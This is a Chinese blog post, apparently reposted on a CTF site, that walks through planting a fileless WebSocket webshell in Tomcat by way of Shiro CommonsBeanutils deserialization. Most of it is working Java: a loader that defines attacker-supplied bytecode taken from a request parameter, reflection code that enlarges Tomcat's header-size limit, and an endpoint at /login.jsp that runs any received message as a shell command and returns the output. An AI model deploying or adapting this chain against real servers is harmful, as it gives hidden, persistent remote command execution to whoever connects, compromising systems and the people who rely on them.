shiro-websocket内存马

渗透技巧 1年前 (2023) admin
555 0 0
shiro-websocket内存马

点击蓝字,关注我们吧!

shiro-websocket内存马

前言


新坑,关于shiro下注入内存马相关,起因有个师傅问我这么个情况:tomcat环境下shiro打CB反序列化的websocket内存马。调试后发现关于shiro这方面历史知识有点欠缺。

shiro-websocket内存马

踩坑总结


maxHeaderSize长度绕过

三种方案

1)修改maxHttpHeaderSize

Shiro 550 漏洞学习 (二):内存马注入及回显

http://wjlshare.com/archives/1545 ,直接修改

2)将class bytes使用gzip+base64压缩编码

tomcat结合shiro无文件webshell的技术研究以及检测方法

https://mp.weixin.qq.com/s/fFYTRrSMjHnPBPIaVn9qMg ,将恶意byte压缩,在payload中调用classloader解压缩执行

3)从POST请求体中发送字节码数据

Java代码执行漏洞中类动态加载的应用

https://mp.weixin.qq.com/s?__biz=MzAwNzk0NTkxNw==&mid=2247484622&idx=1&sn=8ec625711dcf87f0b6abe67483f0534d


context与request获取

老生常谈了

Shiro 回显与内存马实现 | MYZXCG

https://myzxcg.com/2021/11/Shiro-%E5%9B%9E%E6%98%BE%E4%B8%8E%E5%86%85%E5%AD%98%E9%A9%AC%E5%AE%9E%E7%8E%B0/#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%9B%9E%E6%98%BE

Java内存马:一种Tomcat全版本获取StandardContext的新方法

https://xz.aliyun.com/t/9914#toc-0

基于全局储存的新思路 | Tomcat的一种通用回显方法研究

https://mp.weixin.qq.com/s?__biz=MzIwNDA2NDk5OQ==&mid=2651374294&idx=3&sn=82d050ca7268bdb7bcf7ff7ff293d7b3

Java安全之反序列化回显与内存马

https://www.cnblogs.com/nice0e3/p/14891711.html

shiro-websocket内存马

问题发现


CB链是调用TemplatesImpl进行加载字节码,流程为:

shiro-websocket内存马
TemplatesImpl#newTransformer() ->TemplatesImpl#getTransletInstance() ->TemplatesImpl#defineTransletClasses() ->TransletClassLoader#defineClass()

该字节码所对应的类必须继承于 AbstractTranslet,但是websocket内存马的实现也是需要一个类去继承于 Endpoint 。这种情况该怎么去构造?

shiro-websocket内存马

尝试解决


内部类

利用内部类尝试写入

websocket.java

shiro-websocket内存马
import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import org.apache.catalina.core.StandardContext;import org.apache.tomcat.websocket.server.WsServerContainer;
import javax.websocket.DeploymentException;import javax.websocket.Endpoint;import javax.websocket.EndpointConfig;import javax.websocket.Session;import javax.websocket.server.ServerContainer;
import javax.websocket.server.ServerEndpointConfig;import java.io.InputStream;
public class websocket extends AbstractTranslet {
class socket extends Endpoint { private Session session; public void onOpen(Session session, EndpointConfig config) { this.session = session; this.session.addMessageHandler(new MessageHandler()); } private class MessageHandler implements javax.websocket.MessageHandler.Whole<String> { public void onMessage(String message) { try { boolean iswin = System.getProperty("os.name").toLowerCase().startsWith("windows"); Process exec; if (iswin) { exec = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", message}); } else { exec = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", message}); } InputStream ips = exec.getInputStream(); StringBuilder sb = new StringBuilder(); int i; while((i = ips.read()) != -1) { sb.append((char)i); } ips.close(); exec.waitFor(); session.getBasicRemote().sendText(sb.toString()); } catch (Exception e) { e.printStackTrace(); } } } }
static { System.out.println("[+]-------before exp-------"); WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext(); System.out.println(standardContext); System.out.println("---------standardContext-------");
WsServerContainer attribute = (WsServerContainer) standardContext.getServletContext().getAttribute(ServerContainer.class.getName()); System.out.println(attribute); System.out.println("---------attribute-------");
socket so = new websocket().new socket(); ServerEndpointConfig build = ServerEndpointConfig.Builder.create(so.getClass(), "/login.jsp").build(); System.out.println(build); System.out.println("---------build-------"); System.out.println("[+]------after exp------"); try { attribute.addEndpoint(build); System.out.println("ok!"); } catch (DeploymentException e) { throw new RuntimeException(e); } }
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}}

尝试很多次都是在创建 ServerEndpointConfig 时失败,具体原因先跳过。

shiro-websocket内存马


shiro-websocket内存马

自定义Classloader

能不能将payload和exp分开,CB链目的是去动态加载我们传入的字节码,socket内存马的字节码我们可以通过POST方式去获取。中间桥梁可以通过类加载的操作去实现。

通过 Tomcat的一种通用回显方法研究 ,只需要拿到request就可了。

exp.java:

shiro-websocket内存马
import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import org.apache.catalina.connector.Connector;import org.apache.catalina.connector.Request;import org.apache.catalina.core.ApplicationContext;import org.apache.catalina.core.StandardContext;import org.apache.catalina.core.StandardService;import org.apache.catalina.loader.WebappClassLoaderBase;import org.apache.coyote.AbstractProtocol;import org.apache.coyote.RequestGroupInfo;import org.apache.coyote.RequestInfo;
import java.lang.reflect.Field;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Method;import java.nio.charset.StandardCharsets;import java.util.ArrayList;import java.util.Base64;
public class exp extends AbstractTranslet { public static class TestClassLoader extends ClassLoader{ public Class x(byte[] bytes){ return super.defineClass(null,bytes,0,bytes.length); } } static { try{ //获取service属性 StandardContext standardContext= (StandardContext) ((WebappClassLoaderBase) Thread.currentThread().getContextClassLoader()).getResources().getContext(); Field context=Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context"); context.setAccessible(true); ApplicationContext applicationContext= (ApplicationContext) context.get(standardContext); Field servicef=applicationContext.getClass().getDeclaredField("service"); servicef.setAccessible(true); StandardService service=(StandardService) servicef.get(applicationContext);
//获取connector Connector[] connectors=service.findConnectors(); Connector connector=connectors[0];
//获取global AbstractProtocol abstractProtocol= (AbstractProtocol) connector.getProtocolHandler(); Method getHandler=Class.forName("org.apache.coyote.AbstractProtocol").getDeclaredMethod("getHandler"); getHandler.setAccessible(true); Object connectionHandler=getHandler.invoke(abstractProtocol); Method getGlobal=Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredMethod("getGlobal"); RequestGroupInfo global= (RequestGroupInfo) getGlobal.invoke(connectionHandler);
//获取request Field processorsf=Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors"); processorsf.setAccessible(true); ArrayList<RequestInfo> processors= (ArrayList<RequestInfo>) processorsf.get(global); RequestInfo requestInfo=processors.get(0); Field req=Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req"); req.setAccessible(true); Request request2=(Request) ((org.apache.coyote.Request) req.get(requestInfo)).getNote(1); byte[] bytes=Base64.getDecoder().decode(request2.getParameter("code").getBytes(StandardCharsets.UTF_8)); Method defineClass=Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); Class x= (Class) defineClass.invoke(exp.class.getClassLoader(),bytes,0,bytes.length); x.newInstance(); } catch (NoSuchFieldException e) { e.printStackTrace(); } catch (ClassNotFoundException e) { e.printStackTrace(); } catch (InvocationTargetException e) { e.printStackTrace(); } catch (IllegalAccessException e) { e.printStackTrace(); } catch (NoSuchMethodException e) { e.printStackTrace(); } catch (InstantiationException e) { e.printStackTrace(); } }
@Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { }}

payload.java:

shiro-websocket内存马
import org.apache.catalina.core.StandardContext;import org.apache.catalina.loader.WebappClassLoaderBase;import org.apache.tomcat.websocket.server.WsServerContainer;import javax.websocket.DeploymentException;import javax.websocket.Endpoint;import javax.websocket.EndpointConfig;import javax.websocket.Session;import javax.websocket.server.ServerContainer;import javax.websocket.server.ServerEndpointConfig;import java.io.InputStream;
public class payload extends Endpoint { static{ WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext(); ServerEndpointConfig build = ServerEndpointConfig.Builder.create(payload.class, "/login.jsp").build(); WsServerContainer attribute = (WsServerContainer) standardContext.getServletContext().getAttribute(ServerContainer.class.getName()); try { attribute.addEndpoint(build); } catch (DeploymentException e) { throw new RuntimeException(e); } }
private Session session; @Override public void onOpen(Session session, EndpointConfig config) { this.session = session; this.session.addMessageHandler(new MessageHandler()); } private class MessageHandler implements javax.websocket.MessageHandler.Whole<String> { @Override public void onMessage(String message) { try { boolean iswin = System.getProperty("os.name").toLowerCase().startsWith("windows"); Process exec; if (iswin) { exec = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", message}); } else { exec = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", message}); } InputStream ips = exec.getInputStream(); StringBuilder sb = new StringBuilder(); int i; while((i = ips.read()) != -1) { sb.append((char)i); } ips.close(); exec.waitFor(); session.getBasicRemote().sendText(sb.toString()); } catch (Exception e) { e.printStackTrace(); } } }}

在测试的过程中又出现新的问题,HTTP头部长度太大,这牵扯到一个新问题 maxHeadersize绕过,解决方案如下:

通过反射修改 org.apache.coyote.http11.AbstractHttp11Protocol 的maxHeaderSize的大小(默认长度8192),这个值会影响新的Request的inputBuffer时的对于header的限制。但由于request的inputbuffer会复用,所以在修改完maxHeaderSize之后,需要多个连接同时访问(burp开多线程跑),让tomcat新建request的inputbuffer,这时候的buffer的大小就会使用修改后的值。

shiro-websocket内存马


shiro-websocket内存马

修改maxHeadersize

shiro-websocket内存马
import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class maxlen extends AbstractTranslet { static { try { java.lang.reflect.Field contextField = org.apache.catalina.core.StandardContext.class.getDeclaredField("context"); java.lang.reflect.Field serviceField = org.apache.catalina.core.ApplicationContext.class.getDeclaredField("service"); java.lang.reflect.Field requestField = org.apache.coyote.RequestInfo.class.getDeclaredField("req"); java.lang.reflect.Field headerSizeField = org.apache.coyote.http11.Http11InputBuffer.class.getDeclaredField("headerBufferSize"); java.lang.reflect.Method getHandlerMethod = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod("getHandler",null); contextField.setAccessible(true); headerSizeField.setAccessible(true); serviceField.setAccessible(true); requestField.setAccessible(true); getHandlerMethod.setAccessible(true); org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); org.apache.catalina.core.ApplicationContext applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(webappClassLoaderBase.getResources().getContext()); org.apache.catalina.core.StandardService standardService = (org.apache.catalina.core.StandardService) serviceField.get(applicationContext); org.apache.catalina.connector.Connector[] connectors = standardService.findConnectors(); for (int i = 0; i < connectors.length; i++) { if (4 == connectors[i].getScheme().length()) { org.apache.coyote.ProtocolHandler protocolHandler = connectors[i].getProtocolHandler(); if (protocolHandler instanceof org.apache.coyote.http11.AbstractHttp11Protocol) { Class[] classes = org.apache.coyote.AbstractProtocol.class.getDeclaredClasses(); for (int j = 0; j < classes.length; j++) { // org.apache.coyote.AbstractProtocol$ConnectionHandler if (52 == (classes[j].getName().length()) || 60 == (classes[j].getName().length())) { java.lang.reflect.Field globalField = classes[j].getDeclaredField("global"); java.lang.reflect.Field processorsField = org.apache.coyote.RequestGroupInfo.class.getDeclaredField("processors"); globalField.setAccessible(true); processorsField.setAccessible(true); org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) globalField.get(getHandlerMethod.invoke(protocolHandler, null)); java.util.List list = (java.util.List) processorsField.get(requestGroupInfo); for (int k = 0; k < list.size(); k++) { org.apache.coyote.Request tempRequest = (org.apache.coyote.Request) requestField.get(list.get(k)); // 10000 为修改后的 headersize headerSizeField.set(tempRequest.getInputBuffer(),10000); } } } // 10000 为修改后的 headersize ((org.apache.coyote.http11.AbstractHttp11Protocol) protocolHandler).setMaxHttpHeaderSize(10000); } } } } catch (Exception e) { } }
@Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}}

修改完headersize后,传参数

shiro-websocket内存马


shiro-websocket内存马

这回的websocket连接状态已经改变,但是连接出现问题。

shiro-websocket内存马

shiro-websocket内存马

日志

shiro-websocket内存马


shiro-websocket内存马

看来是payload种的MessageHandler中出现问题,重写一下payload.java

shiro-websocket内存马
import org.apache.catalina.core.StandardContext;import org.apache.catalina.loader.WebappClassLoaderBase;import org.apache.tomcat.websocket.server.WsServerContainer;
import javax.websocket.DeploymentException;import javax.websocket.Endpoint;import javax.websocket.EndpointConfig;import javax.websocket.Session;import javax.websocket.server.ServerContainer;import javax.websocket.server.ServerEndpointConfig;import java.io.InputStream;
public class payload extends Endpoint implements javax.websocket.MessageHandler.Whole<String>{ static{ WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext(); ServerEndpointConfig build = ServerEndpointConfig.Builder.create(payload.class, "/login.jsp").build(); WsServerContainer attribute = (WsServerContainer) standardContext.getServletContext().getAttribute(ServerContainer.class.getName()); try { attribute.addEndpoint(build); } catch (DeploymentException e) { throw new RuntimeException(e); } }
private Session session; @Override public void onMessage(String s) { try { Process process; boolean bool = System.getProperty("os.name").toLowerCase().startsWith("windows"); if (bool) { process = Runtime.getRuntime().exec(new String[] { "cmd.exe", "/c", s }); } else { process = Runtime.getRuntime().exec(new String[] { "/bin/bash", "-c", s }); } InputStream inputStream = process.getInputStream(); StringBuilder stringBuilder = new StringBuilder(); int i; while ((i = inputStream.read()) != -1) stringBuilder.append((char)i); inputStream.close(); process.waitFor(); session.getBasicRemote().sendText(stringBuilder.toString()); } catch (Exception exception) { exception.printStackTrace(); } } @Override public void onOpen(final Session session, EndpointConfig config) { this.session = session; session.addMessageHandler(this); }}

成功

shiro-websocket内存马

shiro-websocket内存马

原文始发于微信公众号(Arr3stY0u):shiro-websocket内存马

版权声明:admin 发表于 2023年2月28日 上午11:12。
转载请注明:shiro-websocket内存马 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...